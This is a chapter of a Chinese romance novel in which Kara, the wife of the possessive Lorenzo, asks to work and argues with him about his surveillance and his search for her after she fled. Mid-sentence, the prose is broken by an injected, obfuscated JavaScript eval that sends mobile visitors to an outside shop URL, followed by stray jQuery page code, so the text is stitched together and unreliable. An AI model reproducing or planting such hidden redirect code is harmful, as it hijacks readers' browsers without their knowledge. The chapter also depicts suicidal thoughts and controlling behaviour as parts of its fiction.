当卡拉蜷缩在沙发上的时候，她几乎以为自己一辈子都不可能复原了。
那些话，那些刺，那些从她嘴里发放出去、带着恶意的脏污，它们已经永远都收不回来了。它们就像碎玻璃一样撒在两人之间，而她赤着脚站在那里，无路可走。
洛伦佐没有再说什么。他只是静静地坐在她身边，陪伴着她，像一座沉默的山。之后，不知道过了多久，他终于起身离开。再回来时，手里多了一杯水，轻轻放在她触手可及的地方。
然后，他还是离开了。
他大概也明白她的羞耻，她的自责，她暂时不想面对他，也根本就无法去面对他。他留在这里没有任何帮助。
门关上的声音很轻。
卡拉独自在那张沙发上待了很久，也想了很久，直到窗外的光线从金黄慢慢地变得暗沉，再变成黑暗。女佣轻手轻脚地走进来询问她要不要开灯，她摇了摇头。又问她要不要吃晚餐，她还是摇了摇头。
她确实是什么都吃不下。
之后，她也不知道自己究竟是怎么回到房间的。也许是用她的双脚一步一步走回去的，也许是飘回去的。她只记得那条熟悉的长长的走廊，和两侧墙壁上那些永远不会说话的艺术画，以及那个她曾经拼命回避的房间……
无论是对格蕾丝还是对他，她都已经食言过了。她不能否认，她让自己找尽了理由，然后睁着眼睛犯下了错。现在，她不想再对任何人继续食言。她已经承诺了说要乖乖做他的妻子，所以，她会让自己乖乖待在他身边，尽可能与他和谐相处。尽管在她的内心深处，她还是更宁愿像她麻木的母亲一样躺进放满了水的浴缸，永远都别再醒过来了。
她们确实是天生的母女。她想，无论她究竟是多么怨恨布丽吉特·多尔蒂，事实都一次又一次告诉她，她们都是一样的软弱且没用，她们知道自己什么也无能为力，便只会用消失来应对无法承受的生活。
她真的不可以就这么一睡不起吗？
反正生命就像雾气一样脆弱。
然后，她的躯体会在坟墓中腐烂，虫子将成为她的裹尸布。
可是第二天早上，她还是像每个早上一样，自然而然苏醒了过来。
阳光照常升起了，窗外的世界照常运转，她的心脏也照常跳动。一切都照常，就仿佛之前的一切就只是一场过于真实的梦。
确实，人的生活就是这样，无论多狼狈，多羞愧，多觉得自己不配，时间还是会默默把你推向下一个清晨。
她情不自禁坐起身，向着阳光伸出了手，让它落在她的手心，那感觉暖洋洋的。她就这么盯着那光斑，忽然想起格蕾丝曾经就很喜欢这样把手伸进光里，说这是“太阳在摸我的手”。
一想到格蕾丝，那种令她窒息的羞耻与痛楚又重新涌了上来。
卡拉，坚持住。
她只能如此告诉自己。
当她顶着一张憔悴的脸下楼时，洛伦佐仍坐在餐桌旁读着他的报纸。
听到她的脚步声，他抬起头，目光在她的脸上停留片刻。这一眼太短了，短到她根本读不出任何的情绪，又太长，长到足够让她想起自己昨天是怎样用他与罗伊辛有染来羞辱他，又怎样像个婴儿一样蜷缩在他身旁。
一时间，她不禁有些进退两难。
但很快，她又把这些念头抛之脑后。
她早提醒过了，她是一定会让他失望的，他凭什么不相信呢？
清醒一点，别再对她抱一些多余的希望了。
“早。”他说。
“早。”她轻轻回。
之后，笼罩着他们的，便又是沉默，熟悉的沉默，但至少已经不再是过去那种冷冰冰的、对抗性的沉默。它更像一层薄薄的壳，覆盖着下面还未愈合的、裸露的皮肤。
卡拉机械地拿起叉子，戳了戳盘中的煎蛋，直到金黄色的蛋液流出来。
“我……”她忽然开口，又停住。
洛伦佐并没有催促她。
卡拉深吸一口气，决定直接说重点。
“我还是想找份工作。”
她知道她的要求可能显得有些突兀，但终于说出口后，她还是觉得整个人轻松了不少。
他自己说过会考虑她的任何要求，而到了现在，她想，不管她再说什么也不会使一切变得更糟。
她确实想工作，她的存款最近消耗太大，她需要挣钱。而且，她也知道，这个人是真的一定要把她留在身边，而她现在也根本不可能再头也不回离开，她的家人需要他提供的安全网。
那么，就至少让她给这种百无聊赖的生活稍微找点意义吧。
总而言之，她是不会再继续拖延下去了。她会学习圣人精神，去狠狠踩死那一直叫着“Cras（明天）”的乌鸦，告诉自己，Hodie（今天）。
洛伦佐翻阅报纸的动作顿了一下，他抬起眼，看着她。
“什么？”
“我说找工作。”卡拉重复，声音比刚才稳了一些，“一份正经的、普通的、能让我每天至少有点事情做的工作。也许，我还是不能太闲了，我曾经整整两年没工作过一天，最后的结果很糟，不是吗？”
“好吧。”他说。
闻言，卡拉眨眨眼睛，人都傻了。
他真的直接就说了那句话？
好吧？
这……可真是完全出乎她的预料。
她都已经做好了所有的心理准备，以为将会有一场八成以她的落败而告终的拉锯战，以为他一定会继续用那套“他的妻子不需要工作”的大男子主义说辞，以为他至少也要对她的想法冷嘲热讽一下，而她都不知道自己能不能克制住自己别立刻嘲讽回去……
可是，他就这么轻飘飘同意了？就是一句“好吧”？
真的没有任何附带条件？
“你想做些什么工作？”他又问她。
卡拉仍在惊讶，好半天才反应过来他已经提出一个问题。
“我还没有想好，”她老实说，“但总会有适合的，反正我一直也挺勤快的，我过去也做过不少工作。等稳定下来了，我还可以给自己买辆车，未来要是真存了点钱，我还可以去……”
她的话显然让洛伦佐有些无法理解，他打断了她：“车库里有很多辆车。”
卡拉道：“我为什么要开着那么好的车去端盘子？便宜的二手车才适合我。”
“事实上，你的驾驶技术简直一团糟，我甚至不认为你应该自己开任何车。”
卡拉诧异地扬起了眉，却无法反驳。
因为确实如此……
多年以来，她一直是个非常糟糕的司机，也就只比她那险些被吊销驾照的哥哥稍微强那么一点。他们兄妹俩都很喜欢开车，然后也都总是开得又快又不负责任，唯恐死得不够快……
可是，他什么时候还见过她开车？
“你……怎么知道我开车技术差？”她问他，声音里带着一丝本能的警惕。
洛伦佐的表情没有变化。
“我知道很多事情，卡拉。”
闻言，卡拉咬住了下唇，心里那点子刚刚压下去的刺顿时又竖了起来。是哦，他知道很多事情。他一直就是这样，天天悄悄地注意着一切，掌控着一切，却从来都不屑于表现出来。
“无论如何我拿到了驾照，不是么？”卡拉道，“这说明我有资格自己开车。而且，我开了这么多年也没出过什么事，我最多就是拿过几次超速罚单。”
事实上，她本该拿到更多罚单，各种罚单，只是大部分都被她逃过去了。
毕竟警察大部分是男人，男人就是男人，他们通常很乐意跟过路的辣妹调调情。在她仍然是脱衣舞娘时，要是碰巧对方还曾经光顾过她的俱乐部，她大概还会撒撒娇，眨着眼睛提议下次给他免费来支大腿舞……
洛伦佐道：“你就只是一时突发奇想，趁人不备把你的车沉入了湖底罢了。”
听他提起这个，卡拉怔了怔，顿时就又有些不知道说什么了。天呐，这可不是她想谈的。她只想谈她找工作的问题，不想和他吵架，她现在讨厌吵架，也害怕自己可能继续失控。
可洛伦佐却仿佛非要与她回忆过往，又道：“我以为你一直很喜欢那辆车。”
卡拉讶异地看了他一眼，却依旧没有否认。她当然会喜欢那辆车。那是他当初送给她的新婚礼物，不是珠宝，不是衣服，是一辆她可以自己掌控、想去哪里就去哪里的车，而且它还那么高档，那么漂亮。
她曾无数次开着它载格蕾丝出去玩，又或者就只是一个人在外面漫无目的地兜风。当她将车窗摇下来，让风吹乱头发，音乐开到最大，真的就好像整个世界都是属于她的……
“确实如此。”她承认道，“我知道它很贵，很招摇，开出去像在炫耀财富。但我真的……喜欢它。”
她停顿了一下。
“可能太喜欢了吧，当我知道我无论如何也无法留下它时，我就选择了亲手毁掉它。这样至少这辈子，它只属于我一个人，你什么都可以收回去，但是你永远也收不回它了。”
自私、自私、自私……
而这也大概就是她的本质。
洛伦佐看着她，沉默了片刻。
“我差点以为你死了。”他缓缓开口，声音比刚才低了些。
“直到那片湖的每一寸都被找了一遍，没有你的尸体。我松了一口气，又以为你被绑架了，可没有人来联系我。”
这正是卡拉当初所希望的，她希望卡拉·多尔蒂可以从这个世界上消失，卡拉·多尔蒂也本就应该消失。
至于他会在乎吗？她那时候想，可能总会有一点吧。她毕竟在他枕边躺了两年，毕竟烧了他那么多的钱。但对他来说，这种结果估计也挺不错。他从来不曾真正想要这桩婚姻，如今，他那被半强迫着买回来的妻子终于自己就遭了报应，倒也省了未来终于想甩掉她时可能会有的麻烦。
她从来没有想过，他竟然会挖地三尺也要找她，并且最后还真找回了她。
“我好像从来都没有问过你怎么找到我的。”她轻轻说。
“洛克兰·科伊尔。”他说。
卡拉愣住了。
“你为了逃避我，也是逃避你自己，确实花了很多心思。”洛伦佐继续道，“你舍弃了关于卡拉·多尔蒂的一切，把自己打扮得面目全非，完全活成了另外一个人，还经常搬家换工作。直到有一天，你遇见了他，补上了你那些所谓的正常生活的最后一环……”
“你恋爱了。”他的语气依然很平淡，但卡拉能听得出那下面压着的东西，“你又开始在乎自己看起来漂不漂亮，你们天天在海边散步，偶尔在餐厅吃饭，还会一起看电影、逛街，你停下来了，还和他搬到了一起，三个月。”
卡拉沉默地继续折磨着她的煎蛋。
那些画面——洛克兰的笑脸，海风里奔跑时他回过头看她，电影院里他把爆米花塞进专心看电影的她嘴里——曾经是她最温暖的记忆，此刻却像是一把钝刀，一点一点地割着她。
“我想，你曾经调查过他吧。”她说。
这是肯定的。
而他也坦诚答道：“是。”
“你对他做了什么？”
洛伦佐抬起眼，那双黑眸里没有她预想的嘲讽或寒意，甚至还非常平静。
“我到底能对他做什么？”
但卡拉仍然有些怀疑，他当然有能力至少让洛克兰在这边混不下去，只能滚回都柏林老家。
“他只是个普通人，”洛伦佐说，“普通的家庭，普通的学历，普通的工作，普通的梦想。他梦想着买一个有宽敞后院的小房子，结婚生子，再养一条贵宾犬。他甚至都不知道你是谁。”
他顿了顿。
“我让你回家的第二天，他就报警了。但很显然，他是不可能找得到莎拉·查丽蒂·伯恩的。”
卡拉的心脏像被什么东西猛地攥住。
她什么都没有留给他。
连一句真话都没有。
也许，在她的心底深处，她一直都明白，无论她如何去一次次杀死自己，她也永远无法真正重生。
她总是要离开的。
“后来呢？”她听见自己问。
“我不可能去整天盯着你的前男友，”洛伦佐道，“而你又究竟想知道什么？你是想
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735852|205401||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
让我告诉你他还单身，还在想着他那个失踪的连个真实姓名都没有留下的前女友？还是想让我告诉你他过得很好，已经完全把你给忘了？”
卡拉没有回答。
她不知道自己到底想听什么。
也许，她只是需要知道，那个曾经让她以为自己可以重新活一次的男人，没有因为她的离去而伤心难过，萎靡不振。
“就这样吧，一切都已经结束了。”她最后说，声音很轻。
而她的手也终于决定放她盘中的煎蛋一马。她放下了叉子，端起已经凉掉的咖啡，喝了一口。
苦得刚刚好。
“我可以再给你买一辆车。”洛伦佐忽然说，“你想要什么样的？”
卡拉摇摇头：“我不想要，我会自己买一辆车，自己开去上班，就是这样。”
“你知道不管让谁开车，你都不可能独自一人吧？”
卡拉确实很想去忽视掉这个问题。
“我不希望有人这样紧紧地跟着我，明明以前都不是这样的。”
他的回应依旧迅速而简洁：“不行。”
卡拉早就猜到了他的答案，却仍然试图说服他：“洛伦佐，我真的不会跑，就只是稍稍松一下手吧，在这个世界上，就没有人会带着一个西装革履的保镖去端盘子。”
“你为什么一定要端盘子？”说完，他大概也意识到自己说得有些太轻巧。
他看着她，几次欲言又止，最终，他道：“我想尼科洛也有休闲的衣服。”
可是卡拉几乎无法想象不穿西装的尼科洛·比安奇。
“他穿成流浪汉也是尼科洛·比安奇。”卡拉忍不住说，“他站在我身边就像是一块写着‘生人勿近’的活招牌。”
“那很好。”洛伦佐语气平静，“本来就应该生人勿近。”
他的理直气壮让卡拉一时语塞。
“那我大概找不到任何工作了。”
她继续道：“你知道吗？我从前生活的地方可是远没有这里这么井井有条，那里的路全都是乱的，到了晚上还偶尔能听见枪响，我在那里出生长大，一直什么事情都没有，我根本就不需要安保。”
她让自己的声音听起来尽可能轻松。因为她很清楚那时候的她究竟是多么害怕那些偶尔出现的冲突声、枪声。
每一天，当她独自出现在任何地方，她总是悬着一颗心。她会担忧有人忽然冒出来抢走她的所有财物，还有，一些更为可能发生的事。
那些恶棍不可能会清楚任意一个过路人的钱包里究竟藏着多少钱，却完全可以确定一个女孩身上有什么他们想要的……
洛伦佐顿了顿，道：“那是运气。”
卡拉摇了摇头：“不，是经验，我懂得那里的生存法则，熟悉每一条街道，知道什么时间在哪个地方可能发生一些什么，知道应该躲开什么样的人，知道遇见什么情况应该赶紧跑——”
“你已经永远离开那里了。”
卡拉愣了愣。
“确实如此，”她的声音忽然变得轻了一些，“是你把我从那个地方带走了，你给了我一个非常安全的地方，我再也不会听见枪声了。”
洛伦佐道：“在这个世界上就没有哪里是绝对安全的。”
“你纯粹在浪费资源。”她终于忍不住道，语气里带着更多是无力的讽意，“派人整天跟着一个端盘子的女人，我到时赚来的钱够付他工资的零头吗？这真的不划算，洛伦佐。”
洛伦佐挑了挑眉。
“浪费资源？”
“对。”
他看着她，那目光里有一种她读不懂的东西，也许是无奈，也许是被她这句话气到的好笑，也许两者都有。
“我并不觉得让人贴身保护你的安全是在浪费资源，”他缓缓开口，“而且，跟我过去两年里找你所花的资源比，这也实在算不了什么。”
卡拉闭嘴了。
“警方会结案，但我不会。各种我平时想都没去想过的手段，我都用上了。”他的声音依旧平静，“最终你确实平平安安地回来了，那就都是值得的。”
他赢了。
卡拉意识到，在与他有关的任何话题的辩论赛里，她都没有任何胜算。
毕竟无论如何，她都必须依靠他，然后，她还在一桩婚姻里犯了个最致命的错。
可是洛伦佐并没有乘胜追击，只是收回了目光，端起咖啡杯，喝了一口。
“如果这是你希望的，尼科洛他……会尽量掩人耳目。”
他如此说，声音里透着几分勉强，就好像这真的是非常非常为难的事情。
“但是他必须存在。现在情况很复杂，在你的安全问题上，我是永远都不可能让步的。”
卡拉沉默了很久。
“你总是这样。”她终于轻轻地说，“你可以告诉我，你觉得你是在保护我。你也可以告诉我，你没办法放心。你可以对我说很多很多的话，但最后，结果永远都是一样的，我不会得到任何我想要的东西。”
洛伦佐看着她，沉默了很久。
“你想要什么？”
“一辆我自己买的车，一份我自己的工作，一个没人跟着的、普通的白天。下班之后我自己想去哪里就去哪里，没有人会在旁边死死地盯着我，记下我的任何事情汇报给你。”
她顿了顿。
“我不会再试图离开你，也不会再……对你不忠，真的，除非你自己会想要甩掉我，但是，我真的想要一点点……正常的、普通的、就属于我自己一个人的生活，真正的普通，而不是和你一起玩那些吃汉堡的过家家游戏。”
洛伦佐没有说话。
卡拉望着他，忽然又开始觉得很累。它不是那种刚吵完架后的疲惫，是一种更深、更沉的倦意，像是背着太重的行李走了太久，却终于发现自己其实根本就不知道终点在哪。
“还是别搭理我了。”她说，“我知道我要求得太多了，你知道我总是这样。你愿意让我找工作，这很好了，谢谢你。”
她站起身，椅子在地板上轻轻滑过。
“我吃饱了。”
即便她从头到尾就喝了一口咖啡。